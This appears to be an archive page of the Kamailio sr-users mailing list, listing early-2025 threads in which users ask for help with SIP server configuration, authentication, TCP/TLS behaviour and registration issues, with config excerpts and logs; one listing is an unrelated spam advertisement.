Hello, I am trying to configure the Topos module and have some questions. # topos:msg-outgoing vs topos:msg-sending https://www.kamailio.org/docs/modules/5.8.x/modules/topos.html#topos.e.msg_… I am trying to understand the difference between these two event routes(beyond the content of the SIP message ). I notice that both are invoked when OPTIONS are generated by the local Kamailio server but only msg-sending is invoked for messages transiting the Kamailio( ie proxied, not locally generated). Is there some difference in how these event_routers are invoked beyond the content of the SIP message? # tops -> requests/replies When I am in event_route[topos:msg-sending] { and invoke 'drop', does this apply to the current message or does it apply to the transaction? I have a Kamailio node with devices on either side. Let's call side A untrusted and side B trusted. I want TOPOS happening against the untrusted device but not the trusted device. I have found that when I invoke 'drop' on a request coming from A to B, it disables TOPOS not only on that packet, but also the reply comes from B back to A, TOPOS isn't applied when the reply exits Kamailio towards A. So if I call 'drop' on the request coming from A to B, the reply coming from B to A has no TOPOS applied. How do I get TOPOS applied to all traffic facing a particular device while leaving that traffic un-stripped when the same traffic is interacting with other devices that are trusted? Thanks, David

2 2

Torso Sex Toy for Men & Women
by feifeiwangf＠uusextoy.com 04 Mar '25

04 Mar '25

The sex doll torso is a very light mini sex doll. Usually, its weight is 4kg to 20kg. These sex doll torsos are made of TPE or silicone. Of course, they are all very safe materials. https://www.sextorso.com/

3 2

SHA-256 HASH
by Social Boh 04 Mar '25

04 Mar '25

Hello list, is it possible create a user using sha-256 hash? My goal is Asterisk PBX Register ----- sha-256 digest authentication -> Kamailio Regards -- --- I'm SoCIaL, MayBe

2 3

KEMI logging function name output
by Dmitry Sytchev 28 Feb '25

28 Feb '25

Hi all! By default logging from KEMI with KSR.log() is prefixed with something like this: <core> [core/kemi.c:152]: sr_kemi_core_log(): Can we somehow disable this not to print it every time with every message? Thanks! [image: image.png] -- Best regards, Dmitry Sytchev

2 2

SNMP thresholds
by Sergio Charrua 27 Feb '25

27 Feb '25

Hi all! we have set SNMP stats on our production server. The server is only receiving 1% of the calls, less than 1 CAPS, but we are receiving some SNMP alarms that are a bit weird to us. [image: image.png] This is an example. As we were unsure about the thresholds to be set for Msg Queue, we set Minor to 20 and Major to 100, which resulted in some alarms when we exceeded the Major threshold. From our understanding, the Max Major MSG Queue threshold was 2176, which obviously generated an alarm. But we can't understand why when a Msg Queue depth of 1280 generated an Minor Threshold alarm when the threshold is 20!! Why not generate a Major Threshold alarm instead, as it did reach the Major Threshold ? Also, does anyone have a clue on how to estimate Major and Minor thresholds? How does this Msg Queue handler work? Is it Kamailio's level or on OS/Kernel level that it gets the statistics from? Apart from the official Kamailio SNMPStats docs, any doc or article one would share? greatly appreciated. ( I so much hate SNMP!!! :) ) Atenciosamente / Kind Regards / Cordialement / Un saludo, *Sérgio Charrua*

1 0

Tweaking TCP/TLS connection timers
by Ihor Olkhovskyi 27 Feb '25

27 Feb '25

Hello, I'm observing a bit strange behavoir of Kamailio, but maybe I'm wrong in my assumptions. In some cases Kamailio just closes absolutely valid TCP connection, as I see it in Wireshark [image: image.png] At the same time I do see in Kamailio logs a lots of lines with tcp_timer_check_connections(): message processing timeout on connection id: XXXXX (state: 0) - closing I see that many TCP connections are closing (and it's ok as we have mobile devices connected and loosing connections for them is ok) But for me this connection is perfectly ok looking on TCP keepalives, what can cause this behavoir? I have these TCP options tcp_connect_timeout=30 tcp_conn_wq_max=63536 tcp_crlf_ping=yes tcp_delayed_ack=yes tcp_fd_cache=yes tcp_keepalive=yes tcp_keepcnt=3 tcp_keepidle=30 tcp_keepintvl=10 tcp_linger2=30 Kamailio 5.8.3 Any hints are appreciated. -- Best regards, Ihor (Igor)

2 2

Kamailio and TLS-PSK Support
by Юрій Пивоваров 27 Feb '25

27 Feb '25

Dear Kamailio Community, I am currently exploring the possibility of configuring Kamailio to use TLS-PSK (Pre-Shared Key) for secure SIP signaling. Has anyone successfully configured Kamailio to work with TLS-PSK? If so, could you share any guidance, configuration examples, or relevant modules that need to be adjusted? In this setup, the SIP client will be a device with very limited resources, making it impossible to use certificates. This is why I am specifically looking into a TLS-PSK solution. I have also tried configuring stunnel as a proxy and set listen = tcp:127.0.0.1:5061 in kamailio config, but I haven't been able to get it working. Any suggestions on what might be missing or misconfigured? Thank you in advance for your help!

1 0

Drop RTP Flow and move to another point
by Social Boh 26 Feb '25

26 Feb '25

Hello List, before spending much time on solving this scenario, I'd like to know if this kind of operation can be done using some Kamailio function (maybe dlg_req_within?) or other method. The scenario is: a B2B-1 server call two different destinations, one is a SIP trunk and another is another B2B-2. Both calls go through Kamailio which uses RTPEngine for the media flow. The idea is to drop the first B2B from RTP Flow (leave for signaling) when both calls are answered and leave everything to Kamailio-RTPEngine, like: LegA: Kamailio-RTPEngine -> B2B-2 LegB: Kamailio-RTPEngine -> SIP trunk Thank you in Advance Regards --- I'm SoCIaL, MayBe

1 1

PRACK Retransmission and 408 Timeout Issue in Kamailio
by 高秉寬 26 Feb '25

26 Feb '25

Dear Kamailio Developers, I am using Kamailio as a SIP server to facilitate a phone call, but I am encountering an issue where the call cannot be established due to Kamailio sending a 408 Request Timeout to the caller. Issue Details: - A (Caller) sends an initial INVITE to Kamailio, which then forwards it to B (Callee). The INVITE contains the following Supported header: Supported: timer,100rel,replaces,precondition,from-change,histinfo,tdialog I suspect the *precondition* option may be relevant to the issue. - *B* responds with a *183 Session Progress* message, which includes: Require: 100rel,precondition Kamailio correctly forwards this response to *A.* - *A* then sends a *PRACK* request to Kamailio. However, this request contains: Require: sec-agree Supported: timer Notably, *precondition* is absent from both the *Require* and *Supported* headers. - Kamailio forwards this *PRACK* to *B*, and *B* responds with *200 OK*, including: Supported: 100rel,from-change,tdialog - However, Kamailio does not seem to acknowledge *B's 200 OK* and instead *keeps retransmitting the PRACK* to *B*. B responds with *200 OK* again, but the cycle repeats. - After three retransmissions of *PRACK*, Kamailio eventually sends *408 Request Timeout* to *A*, leading *A* to send a *CANCEL* request. Device Used: - *Caller (A):* Asus ROG Phone 5 - *Callee (B):* Asus ROG Phone 6 Both are commercially available mobile phones. Possible Cause: According to *3GPP TS 24.229, Subclause 5.1.3.1*, If the received response with an SDP body includes a Require header with > the "precondition" option-tag, the originating UE shall include a Require > header with the "precondition" option-tag in responses with an SDP body to > subsequent requests that include an SDP body and include the "precondition" > option-tag in either the Supported or Require header field received > in-dialog. In this case: - The *183 Session Progress* from *B* contains Require: *precondition*. - The subsequent *PRACK* from *A* does not include *precondition* in either *Require* or *Supported*. Could this mismatch be the reason Kamailio keeps retransmitting *PRACK* and ignoring *B's 200 OK*? Or could there be another factor causing Kamailio to behave this way? If additional details are needed, please let me know. Best regards, Ping Kuan Kao

3 4

Issue with registrations
by Anthony Ford 26 Feb '25

26 Feb '25

Hi Version = 5.6.0-dev0 We are seeking help to resolve an issue with registering devices to 3CX (All 3CX servers, have tried 8 different ones) . all the auth info including passwords etc are identical on the 3cx servers. We use Kamailio to register mobile sim cards to 3rd party sip servers i.e. 3CX. We send the normal Username, server addresses and auth details but are experiencing failures with 3CX rejecting the registration and return Proxy Auth failure 407. We have noticed in the pcaps from both sides that the expire value is changing from 180 as an example to 0. As an example In the uac reg_dump the values are : l_uuid: +447529135850<tel:+447529135850> l_username: +447529135850<tel:+447529135850> l_domain: sbc-mt.asim.apalo.io<http://sbc-mt.asim.apalo.io/>;transport=udp r_username: 1001 r_domain: egte.3cx.uk<http://egte.3cx.uk/> realm: <null string> auth_username: FdlHDC1IvA auth_password: extracted auth_ha1: none auth_proxy: sip:egte.3cx.uk:5060 expires: 60 flags: 0 diff_expires: -1738853736 timer_expires: 0 reg_init: 1738850836 reg_delay: 0 contact_addr: k01.asim.apalo.io<http://k01.asim.apalo.io/>;transport=tcp socket: <null string> [cid:image001.png@01DB86AB.2701F190] [cid:image002.png@01DB86AB.2701F190] [cid:image003.png@01DB86AB.2701F190] Looking forward to hearing from you. Many thanks Tony Ford

3 3

REG_MAR_REPLY never get executed
by stinktohighheaven＠gmail.com 26 Feb '25

26 Feb '25

Using Kamailio v5.3, based on the example for scscf found here: https://github.com/kamailio/kamailio/blob/master/misc/examples/ims/scscf/ka… after calling ims_www_challenge("REG_MAR_REPLY", "$var(realm)", "$var(alg)"); the control never goes to REG_MAR_REPLY route block, but it goes to the start of the requet_route block. here is the kamailio.cfg script: request_route { ....... /* Handle Registrations */ if (is_method("REGISTER")) { route(REGISTER); exit; } ...... } /** * Handling of REGISTER requests */ route[REGISTER] { ...... #!ifdef WITH_AUTH if (!ims_www_authenticate("$var(realm)")) { #!else if ($var(alg) == "3GPP-Digest" && !ims_www_authenticate("$var(realm)")) { #!endif if ($? == -2) { send_reply("403", "Authentication Failed"); exit; } else if ($? == -3) { send_reply("400", "Bad Request"); exit; } else if ($? == -9) { xdbg("Authentication re-sync requested\n"); ims_www_resync_auth("REGISTER_RESYNC_REPLY", "$var(realm)"); exit; } else { /* user has not been authenticated. Lets send a challenge via 401 Unauthorized */ xdbg("About to challenge! auth_ims\n"); ims_www_challenge("REG_MAR_REPLY", "$var(realm)", "$var(alg)"); exit; } } else { xdbg("Auth succeeded\n"); /* We need to check if this user is registered or not */ if (!impu_registered("location")) { save("PRE_REGISTER_SAR_REPLY", "location"); exit; } else { isc_match_filter_reg("1", "location"); save("REGISTER_SAR_REPLY", "location"); exit; } } } } /** * Handling of REGISTER MAR replies */ route[REG_MAR_REPLY] { xlog("L_DBG","maa_return code is $avp(s:maa_return_code)\n"); /* this is async so to know status we have to check the reply avp */ switch ($avp(s:maa_return_code)) { case 1: /* success */ xdbg("MAR success - 401/407 response sent from module\n"); break; case -1: /* failure */ xerr("MAR failure - error response sent from module\n"); break; case -2: /* error */ xerr("MAR error - sending error response now\n"); send_reply("503", "MAR failed"); break; default: xerr("Unknown return code from MAR, value is [$avp(s:maa_return_code)]\n"); send_reply("503", "Unknown response code from MAR"); break; } exit; } and here's the log: 12(18) ERROR: *** cfgtrace:request_route=[REGISTER] c=[/usr/local/etc/kamailio/kamailio.cfg] l=757 a=27 n=ims_www_challenge 12(18) DEBUG: ims_auth [authorize.c:293]: challenge(): Looking for route block [REG_MAR_REPLY] 12(18) INFO: ims_auth [cxdx_mar.c:79]: create_return_code(): created AVP successfully : [maa_return_code] - [-2] 12(18) DEBUG: ims_auth [authorize.c:317]: challenge(): Need to challenge for realm [ims.mnc071.mcc432.3gppnetwork.org] 12(18) DEBUG: ims_auth [authorize.c:324]: challenge(): Checking if REGISTER is authorized for realm [ims.mnc071.mcc432.3gppnetwork.org]... 12(18) DEBUG: ims_auth [authorize.c:1449]: get_auth_userdata(): Searching auth_userdata for IMPU sip:432710000010044@ims.mnc071.mcc432.3gppnetwork.org (Hash 425) 12(18) DEBUG: ims_auth [authorize.c:460]: challenge(): Suspending SIP TM transaction 12(18) DEBUG: ims_auth [authorize.c:1529]: multimedia_auth_request(): Sending MAR 12(18) DEBUG: ims_auth [cxdx_mar.c:574]: cxdx_send_mar(): Successfully sent async diameter 70(76) INFO: ims_auth [cxdx_avp.c:137]: cxdx_get_avp(): cxdx_get_experimental_result_code: Failed finding avp (avp_code = 297, vendor_id = 0) 70(76) DEBUG: ims_auth [authorize.c:1303]: new_auth_vector(): new auth-vector with ck [d2deb48b5b3b614ba9112396e3c036fe] with status 0 70(76) DEBUG: ims_auth [authorize.c:1560]: pack_challenge(): setting QOP str used is [, qop="auth"] 70(76) DEBUG: ims_auth [authorize.c:1562]: pack_challenge(): QOP str used is [, qop="auth"] 70(76) DEBUG: ims_auth [authorize.c:1449]: get_auth_userdata(): Searching auth_userdata for IMPU sip:432710000010044@ims.mnc071.mcc432.3gppnetwork.org (Hash 425) 70(76) DEBUG: ims_auth [authorize.c:1458]: get_auth_userdata(): Found auth_userdata 70(76) DEBUG: ims_auth [authorize.c:1682]: add_auth_vector(): Adding auth_vector (status 1) for IMPU sip:432710000010044@ims.mnc071.mcc432.3gppnetwork.org / IMPI 432710000010044(a)ims.mnc071.mcc432.3gppnetwork.org (Hash 425) 70(76) DEBUG: ims_auth [cxdx_mar.c:486]: async_cdp_callback(): DBG:UAR Async CDP callback: ... Done resuming transaction 70(76) INFO: ims_auth [cxdx_mar.c:79]: create_return_code(): created AVP successfully : [maa_return_code] - [1] 70(76) ERROR: tm [t_suspend.c:197]: t_continue_helper(): active transaction not found 70(76) DEBUG: ims_auth [cxdx_mar.c:87]: free_saved_transaction_data(): Freeing saved transaction data: async 11(17) ERROR: *** cfgtrace:request_route=[DEFAULT_ROUTE] c=[/usr/local/etc/kamailio/kamailio.cfg] l=380 a=5 n=route

4 8

tm stats on prometheus
by Alexis Fidalgo 25 Feb '25

25 Feb '25

Hello all, i found that tm stats (kamcmd tm.stats) are not present in the response of xhttp_prom (prometheus), so in new configurations that we applied, we have no information/stats on reply codes. Is there a way to add this information to the xhttp_prom response? thanks in advance. regards

2 4

debug memory usage by AVP
by Sergey Safarov 25 Feb '25

25 Feb '25

In the "kamcmd mod.stats all shm" output i see to big value for "create_avp" metric Module: core { tcpconn_new(1205): 35104 counters_prefork_init(211): 61952 create_avp(178): 20737248 cfg_clone_str(132): 304 cfg_shmize(221): 1248 main_loop(1381): 16 Is possible to print AVP list and APV content without kamailio config change and restart?

1 0

Kamailio uses an ephemeral IP port instead of the port defined in $fs
by Leonid Fainshtein 24 Feb '25

24 Feb '25

Hi, I am using Kamailio v.5.8.4 on Ubuntu 24.04, kernel 6.8.0-51-generic In the configuration script I explicitly set $fs="udp:adrr:port". In normal situations, it works properly and I see that the UDP SIP requests are sent from the requested IP and port. Due to some reasons, free space on the server root filesystem was exhausted. I cleaned up the file system and everything looked good except the fact that Kamailio started to send messages from ephemeral IP ports instead of the port defined in $fs. Restart of Kamailio didn't solve the problem. But the server reboot fixed the issue. I don't understand how the lack of free disk space can cause such a problem and I'm afraid that there is another reason that I am missing. Has anybody seen such a problem? Best regards, Leonid

3 3

Outdated location information on deleted registrations
by Mathias Schneuwly 19 Feb '25

19 Feb '25

Hi I'm using Kamailio 5.8.4 and the python KEMI module. When I move the registration from one device to another, I can see for a while two entries with 'kamctl ul show' where the Expires parameter of the "old" registration is set to "deleted" and the "new" registration shows the seconds until the registration expires. "Address": "sips:200101@10.0.1.130:42323 ;transport=tls", "Expires": "deleted", -- "Address": "sips:200101@10.0.1.129:56374 ;transport=tls", "Expires": 3600, So far so good. When I try to fetch the actual registration address using "registrar.reg_fetch_contacts" or "registrar.lookup_xavp", I'm always getting the "old" deleted registration address instead of the new address as long as the deleted record is not removed. Feb 18 10:05:51 ttel /usr/sbin/kamailio[2356327]: WARNING: {1 511 INVITE 952600514-5060-52(a)BA.A.C.BCI} <core> [core/kemi.c:157]: sr_kemi_core_log(): reg_fetch_contacts: sips:200101@10.0.1.130:42323;transport=tls Feb 18 10:05:51 ttel /usr/sbin/kamailio[2356327]: WARNING: {1 511 INVITE 952600514-5060-52(a)BA.A.C.BCI} <core> [core/kemi.c:157]: sr_kemi_core_log(): lookup_xavp: aor=200101, uri=sips:200101@10.0.1.130:42323;transport=tls, socket=tls:10.0.1.1:5061, dsturi=None I also see that the database is only updated after the deleted entry is removed. Until then, the database still contains the old address. Btw, I'm using "modparam("usrloc", "db_mode", 2)", which would explain the delayed persisting into the database. 62|uloc-67b44aae-23f48e-2|200101||sips:200101@10.0.1.130:42323 ;transport=tls|||2460724.91858218|-1.0|482845299-5060-1(a)BA.A.B.BDA|2002|2460724.87691551|0|0|Grandstream GXV3350 1.0.3.52|tls:10.0.1.1:5061 |7135|<urn:uuid:00000000-0000-1000-8000-C074AD188038>|1|0|52|0|16 I'm asking myself whether the behavior is correct that "registrar.reg_fetch_contacts" and "registrar.lookup_xavp" are returning the deleted information instead of the "new" registration information? If yes, is there another way how I could get the "new" registration information? I'm not really interested in the old outdated information... Best regards Mathias

2 2

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

sr-users